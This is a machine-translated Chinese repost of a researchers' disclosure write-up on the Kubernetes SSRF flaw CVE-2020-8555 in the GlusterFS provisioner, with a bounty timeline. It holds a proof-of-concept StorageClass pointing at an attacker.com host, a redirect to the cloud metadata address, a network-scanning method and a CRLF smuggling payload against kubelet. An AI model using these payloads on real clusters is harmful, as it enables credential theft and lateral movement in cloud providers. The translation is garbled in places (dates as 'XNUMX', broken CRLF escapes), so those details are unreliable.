当这不仅仅是 Kubernetes 漏洞时......

笔记。 翻译。:本文作者详细讲述了他们如何发现该漏洞 CVE-2020–8555 在 Kubernetes 中。 尽管最初它看起来并不是很危险,但结合其他因素,它对某些云提供商来说至关重要。 一些组织慷慨地奖励了专家们的工作。

当这不仅仅是 Kubernetes 漏洞时......

我们是谁

我们是两位法国安全研究人员,共同发现了 Kubernetes 中的一个漏洞。 我们的名字是 Brice Augras 和 Christophe Hauquiert,但在许多 Bug Bounty 平台上我们分别被称为 Reeverzax 和 Hach:

发生什么事了吗?

这篇文章是我们分享一个普通的研究项目如何意外地变成昆虫猎人一生中最激动人心的冒险的方式(至少目前如此)。

您可能知道,错误猎人有几个显着的特征:

  • 他们以披萨和啤酒为生;
  • 他们在其他人都睡着的时候工作。

我们也不例外:我们通常在周末见面,彻夜不眠地进行黑客活动。 但其中一个夜晚以一种非常不寻常的方式结束。

最初我们打算开会讨论参与 CTF 第二天。 在一次关于托管服务环境中的 Kubernetes 安全性的对话中,我们想起了 SSRF 的老想法(服务器端请求伪造)并决定尝试使用它作为攻击脚本。

晚上 11 点,我们坐下来进行研究,然后一大早就上床睡觉,对结果非常满意。 正是由于这项研究,我们遇到了 MSRC Bug Bounty 计划,并提出了权限升级漏洞。

几周/几个月过去了,我们意想不到的结果带来了 Azure Cloud Bug 赏金历史上最高的奖励之一 - 除了我们从 Kubernetes 获得的奖励之外!

根据我们的研究项目,Kubernetes 产品安全委员会发布了 CVE-2020–8555.

现在我想尽可能地传播有关发现的漏洞的信息。 我们希望您能欣赏这一发现并与信息安全社区的其他成员分享技术细节!

这就是我们的故事......

上下文

为了最清楚地了解所发生的事情,让我们首先看看 Kubernetes 如何在云托管环境中工作。

当您在此类环境中实例化 Kubernetes 集群时,管理层通常由云提供商负责:

当这不仅仅是 Kubernetes 漏洞时......
控制层位于云提供商的周边,而 Kubernetes 节点位于客户的周边

为了动态分配卷,需要使用一种机制从外部存储后端动态配置它们,并将它们与 PVC(持久卷声明,即对卷的请求)进行比较。

因此,在 PVC 创建并绑定到 K8s 集群中的 StorageClass 后,提供卷的进一步操作将由 kube/cloud 控制器管理器接管(其确切名称取决于版本)。 (笔记。 翻译。:我们已经使用云提供商之一的实施示例编写了有关 CCM 的更多内容 这里.)

Kubernetes 支持多种类型的配置器:其中大多数都包含在 编排器核心,而其他的则由放置在集群中 pod 中的额外配置程序管理。

在我们的研究中,我们重点关注内部卷配置机制,如下图所示:

当这不仅仅是 Kubernetes 漏洞时......
使用内置 Kubernetes 配置程序动态配置卷

简而言之,当 Kubernetes 部署在托管环境中时,控制器管理器由云提供商负责,但卷创建请求(上图中的数字 3)离开云提供商的内部网络。 这就是事情变得非常有趣的地方!

黑客场景

在本节中,我们将解释如何利用上述工作流程并访问云服务提供商的内部资源。 它还将向您展示如何执行某些操作,例如获取内部凭据或升级权限。

一种简单的操作(在本例中为服务端请求伪造)有助于超越客户端环境,进入托管 K8 下的各种服务提供商的集群。

在我们的研究中,我们重点关注 GlusterFS 配置程序。 尽管在此上下文中描述了进一步的操作顺序,但 Quobyte、StorageOS 和 ScaleIO 容易受到相同漏洞的影响。

当这不仅仅是 Kubernetes 漏洞时......
滥用动态卷配置机制

在存储类分析期间 Gluster文件系统 在Golang客户端源代码中我们 注意到在卷创建期间发送的第一个 HTTP 请求 (3) 上,到参数中自定义 URL 的末尾 resturl 添加 /volumes.

我们决定通过添加来摆脱这条额外的路径 # 在参数中 resturl。 这是我们用来测试半盲 SSRF 漏洞的第一个 YAML 配置 (您可以阅读有关半盲或半盲 SSRF 的更多信息,例如, 这里 - 大约。 译):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

然后我们使用二进制文件远程管理 Kubernetes 集群 Kubectl。 通常,云提供商(Azure、Google、AWS 等)允许您获取用于此实用程序的凭据。

多亏了这个,我才能使用我的“特殊”文件。 Kube-controller-manager 执行了生成的 HTTP 请求:

kubectl create -f sc-poc.yaml

当这不仅仅是 Kubernetes 漏洞时......
从攻击者的角度来看答案

此后不久,我们还能够通过命令接收来自目标服务器的 HTTP 响应 describe pvc или get events 在 kubectl. 事实上:这个默认的 Kubernetes 驱动程序的警告/错误消息过于冗长......

这是一个带有链接的示例 https://www.google.fr设置为参数 resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

当这不仅仅是 Kubernetes 漏洞时......

在这种方法中,我们仅限于这样的查询 HTTP POST 如果返回码为,则无法获取响应正文的内容 201。 因此,我们决定进行额外的研究,并通过新方法扩展这种黑客场景。

我们研究的演变

  • 高级场景#1:使用来自外部服务器的 302 重定向来更改 HTTP 方法,以提供更灵活的方式来收集内部数据。
  • 高级场景#2:自动化 LAN 扫描和内部资源发现。
  • 高级场景#3:使用 HTTP CRLF + 走私(“请求走私”)来创建定制的 HTTP 请求并检索从 kube-controller 日志中提取的数据。

技术规格

  • 该研究在北欧地区使用了 Azure Kubernetes 服务 (AKS) 和 Kubernetes 版本 1.12。
  • 上述场景均在最新版本的 Kubernetes 上执行,第三个场景除外,因为他需要使用 Golang 版本 ≤ 1.12 构建的 Kubernetes。
  • 攻击者的外部服务器 - https://attacker.com.

高级场景 #1:将 HTTP POST 请求重定向到 GET 并接收敏感数据

对原来的方法进行了改进,通过配置攻击者的服务器返回 302 HTTP 重新编码将 POST 请求转换为 GET 请求(图中的步骤 4):

当这不仅仅是 Kubernetes 漏洞时......

来自客户端的第一个请求 (3) Gluster文件系统 (控制器管理器),具有 POST 类型。 通过执行以下步骤,我们能够将其转换为 GET:

  • 作为参数 resturl 在StorageClass中表明 http://attacker.com/redirect.php.
  • 端点 https://attacker.com/redirect.php 使用 302 HTTP 状态代码和以下位置标头进行响应: http://169.254.169.254。 这可以是任何其他内部资源 - 在本例中,重定向链接仅用作示例。
  • 默认情况下, .net/http 库 Golang 重定向请求并将 POST 转换为带有 302 状态码的 GET,从而产生对目标资源的 HTTP GET 请求。

要读取 HTTP 响应正文,您需要执行以下操作 describe PVC物体:

kubectl describe pvc xxx

以下是我们能够接收到的 JSON 格式的 HTTP 响应示例:

当这不仅仅是 Kubernetes 漏洞时......

当时发现的漏洞的能力有限,原因如下:

  • 无法将 HTTP 标头插入传出请求中。
  • 无法使用正文中的参数执行 POST 请求(这可以方便地从运行于其上的 etcd 实例请求键值) 2379 如果使用未加密的 HTTP,则为端口)。
  • 当状态代码为 200 并且响应没有 JSON Content-Type 时,无法检索响应正文内容。

高级场景#2:扫描本地网络

然后使用这种半盲 SSRF 方法扫描云提供商的内部网络并根据响应轮询各种监听服务(元数据实例、Kubelet、etcd 等) 库贝控制器.

当这不仅仅是 Kubernetes 漏洞时......

首先,确定 Kubernetes 组件的标准监听端口(8443、10250、10251 等),然后我们必须自动化扫描过程。

看到这种扫描资源的方法非常具体,并且与经典扫描仪和 SSRF 工具不兼容,我们决定在 bash 脚本中创建自己的工作程序,以自动化整个过程。

例如,为了快速扫描内网172.16.0.0/12范围,并行启动了15个worker。 上述 IP 范围仅作为示例选择,可能会根据您的特定服务提供商的 IP 范围进行更改。

要扫描一个IP地址和一个端口,需要执行以下操作:

  • 删除最后检查的StorageClass;
  • 删除之前验证的持久卷声明;
  • 更改IP和端口值 sc.yaml;
  • 使用新的 IP 和端口创建 StorageClass;
  • 创建一个新的 PVC;
  • 使用 PVC 的描述提取扫描结果。

高级场景 #3:CRLF 注入 + 在“旧”版本的 Kubernetes 集群中走私 HTTP

除此之外,如果提供商还向客户提供旧版本的 K8s 集群 и 让他们可以访问 kube-controller-manager 的日志,效果变得更加显着。

对于攻击者来说,根据自己的判断更改旨在获取完整 HTTP 响应的 HTTP 请求确实要方便得多。

当这不仅仅是 Kubernetes 漏洞时......

要实现最后一个场景,必须满足以下条件:

  • 用户必须有权访问 kube-controller-manager 日志(例如,在 Azure LogInsights 中)。
  • Kubernetes集群必须使用低于1.12的Golang版本。

我们部署了一个本地环境来模拟 GlusterFS Go 客户端和假目标服务器之间的通信(我们暂时不发布 PoC)。

被找到 漏洞,影响低于 1.12 的 Golang 版本,并允许黑客进行 HTTP 走私/CRLF 攻击。

通过结合上面描述的半盲SSRF 一起 这样,我们就能够根据自己的喜好发送请求,包括替换标头、HTTP 方法、参数和数据,然后 kube-controller-manager 对其进行处理。

这是参数中有效“诱饵”的示例 resturl StorageClass,它实现了类似的攻击场景:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

结果是一个错误 主动回应,有关其的消息记录在控制器日志中。 由于默认启用详细信息,HTTP 响应消息的内容也保存在那里。

当这不仅仅是 Kubernetes 漏洞时......

这是概念验证框架内最有效的“诱饵”。

使用这种方法,我们能够对各种托管 k8s 提供商的集群进行以下一些攻击:使用元数据实例上的凭据进行权限升级、通过 etcd 主实例上的(未加密的)HTTP 请求进行主 DoS 攻击等。

后果

在 Kubernetes 官方关于我们发现的 SSRF 漏洞的声明中,将其评级为 CVSS 6.3/10:CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N。 如果我们只考虑与 Kubernetes 边界相关的漏洞,完整性向量 (完整性向量) 它有资格作为 不包含.

然而,评估托管服务环境中可能产生的后果(这是我们研究中最有趣的部分!)促使我们将漏洞重新分类为评级 关键 CVSS10/10 对于许多经销商来说。

以下是帮助您了解我们在评估云环境中的潜在影响时的注意事项的附加信息:

廉正

  • 使用获取的内部凭据远程执行命令。
  • 使用 IDOR(不安全直接对象引用)方法和本地网络上找到的其他资源重现上述场景。

保密

  • 攻击类型 横向运动 由于云凭证(例如元数据 API)被盗。
  • 通过扫描本地网络收集信息(确定 SSH 版本、HTTP 服务器版本等)。
  • 通过轮询内部 API(例如元数据 API)来收集实例和基础设施信息(http://169.254.169.254,...)。
  • 使用云凭据窃取客户数据。

可用性

与攻击向量相关的所有利用场景 正直,可用于破坏性操作并导致客户端周边(或任何其他)的主实例不可用。

由于我们处于托管 K8s 环境中并评估对完整性的影响,因此我们可以想象许多可能影响可用性的场景。 其他示例包括损坏 etcd 数据库或对 Kubernetes API 进行关键调用。

年表

  • 6 年 2019 月 XNUMX 日:向 MSRC Bug Bounty 报告了该漏洞。
  • 3 年 2020 月 XNUMX 日:第三方通知 Kubernetes 开发人员,我们正在解决安全问题。 并要求他们将 SSRF 视为内部(核心)漏洞。 然后,我们提供了一份一般报告,其中包含有关问题根源的技术详细信息。
  • 15 年 2020 月 XNUMX 日:我们根据 Kubernetes 开发人员的要求(通过 HackerOne 平台)向他们提供了技术和一般报告。
  • 15 年 2020 月 8 日:Kubernetes 开发人员通知我们,过去版本的半盲 SSRF + CRLF 注入被视为核心漏洞。 我们立即停止分析其他服务提供商的边界:KXNUMXs 团队现在正在处理根本原因。
  • 15年2020月XNUMX日:通过HackerOne收到MSRC奖励。
  • 16 年 2020 月 XNUMX 日:Kubernetes PSC(产品安全委员会)认识到该漏洞,并由于潜在受害者数量众多,要求在 XNUMX 月中旬之前保密。
  • 11年2020月XNUMX日:收到Google VRP奖励。
  • 4 年 2020 月 XNUMX 日:通过 HackerOne 收到 Kubernetes 奖励。
  • 15 年 2020 月 19 日:由于 COVID-XNUMX 疫情,原定的公开披露被推迟。
  • 1 年 2020 月 XNUMX 日:Kubernetes + Microsoft 关于该漏洞的联合声明。

TL博士

  • 我们喝啤酒,吃披萨:)
  • 我们发现了 Kubernetes 中的一个核心漏洞,尽管我们无意这样做。
  • 我们对不同云提供商的集群进行了额外的分析,并能够增加漏洞造成的损害,从而获得额外的丰厚奖金。
  • 您将在本文中找到很多技术细节。 我们很乐意与您讨论这些问题(Twitter: @ReeverZax & @__hach_).
  • 事实证明,各种手续和报告的时间比预期要长得多。

引用

译者PS

另请阅读我们的博客:

来源: habr.com

添加评论